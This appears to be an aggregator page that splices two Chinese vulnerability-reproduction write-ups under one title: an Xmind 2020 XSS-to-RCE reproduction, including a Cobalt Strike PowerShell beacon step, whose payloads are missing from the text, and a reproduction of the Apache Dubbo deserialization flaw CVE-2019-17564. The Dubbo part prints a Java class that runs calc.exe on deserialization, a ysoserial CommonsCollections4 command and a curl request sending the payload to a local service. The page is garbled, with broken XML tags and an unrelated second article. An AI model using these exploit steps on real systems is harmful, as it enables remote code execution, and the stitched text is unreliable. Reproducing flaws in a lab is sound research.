Xmind XSS导致RCE漏洞复现

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Xmind XSS导致RCE漏洞复现相关的知识,希望对你有一定的参考价值。

参考技术A

公众号原文

仅参考复现,和小幅修改

# 01 Xmind简介:

XMind 是一个 全功能 的思维导图和头脑风暴软件,为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具,受到全球百千万用户的青睐。

# 02 漏洞简介:

Xmind 存在XSS漏洞,攻击者可以借助该漏洞进而实现命令执行,在实际环境中可以借助钓鱼攻击可能造成更严重的危害。

# 03 漏洞影响范围:

最新版本202107130605不受该漏洞影响,次新版本均受该漏洞影响,且需要打开大纲,按任意字符才能触发。

# 04 漏洞复现过程:

测试版本为Xmind2020,安装完成之后,打开软件,随便点击一个思维导图点击创建:

将导图分支修改为poc/exp,然后进入大纲视图查看、测试:

1、首先测试下xss弹窗:

payload:

输入完之后,鼠标移动到payload最后方,敲空格就能触发,或者点击ctrl健也能触发:

2、测试RCE命令执行:

原始payload:

然后将其进行base64编码:

构造最终的payload,替换里面的内容即可:

触发方式也是一样的,成功执行:

3、测试CS上线:

这里使用powershell上线:

和上面命令执行利用方式一样,将执行的命令替换为powershell上线payload:

由于命令在单引号内,而powershell命令中也有单引号,所以需要用\\进行转义:

然后base64编码,再进行最终的payload构造即可:

触发方式一样:

可以看到成功上线:

尝试执行命令,成功:

有关Apache dubbo反序列化漏洞的复现及思考

有关Apache dubbo反序列化漏洞(CVE-2019-17564)网上有许多漏洞复现文章,官方漏洞描述也说的很清楚,开启了http remoting协议时,存在反序列化漏洞。本身有关java的漏洞,反序列化占了很大一部分。大概流程就是应用程序在反序列化时执行了恶意代码导致RCE(remote command/code execute)。

先来看一个自定义对象反序列化引发RCE的示例:

public class SerialDemo {
  public static void main(String[] args) throws Exception{
    FileOutputStream fileInputStream = new FileOutputStream("D://Bird.obj");
    ObjectOutputStream oos= new ObjectOutputStream(fileInputStream);
    oos.writeObject(new Bird());
    oos.close();
    FileInputStream fileInputStream1 = new FileInputStream("D://Bird.obj");
    ObjectInputStream ois = new ObjectInputStream(fileInputStream1);
    ois.readObject();
    ois.close();
  }
}
class Bird implements Serializable {
  private final void readObject(ObjectInputStream in) throws Exception{
    Runtime.getRuntime().exec("calc.exe");
  }
}

在Bird类中声明了readObject方法,反序列化时会通过反射调用这个方法导致RCE,dubbo反序列化漏洞类似,但调用链远比这个要复杂。

----

下面使用dubbo http示例复现一下反序列化漏洞,通过Ysoserial生成利用反序列化漏洞payload,基于CommonsCollections4类库的gadget,注意版本使用的4.0,大于4.0没有此漏洞。

<dependency>
<
groupId>org.apache.commons</groupId>
<
artifactId>commons-collections4</artifactId>
<
version>4.0</version>
</
dependency>

java -jar ysoserial-xxx.jar CommonsCollections4 "calc" > payload
curl --data-binary @payload
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService

----

有漏洞当然要升级了,针对此漏洞首先要确定是否使用了dubbo http,如果使用的是rest服务(基于resteasy)不受此漏洞影响。

dubbo作为一个rpc框架,通常都是内网应用,如果需要对外提供服务可以前置http网关接口,个人觉得没有必要给dubbo开放http接口。各位读者朋友如何看待呢?

以上是关于Xmind XSS导致RCE漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

通达OA 任意文件上传+文件包含导致RCE漏洞复现

Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

Solr-rce漏洞复现

有关Apache dubbo反序列化漏洞的复现及思考

某钉版本6.3.5RCE漏洞复现

Spring RCE 漏洞 CVE-2022-22965复现分析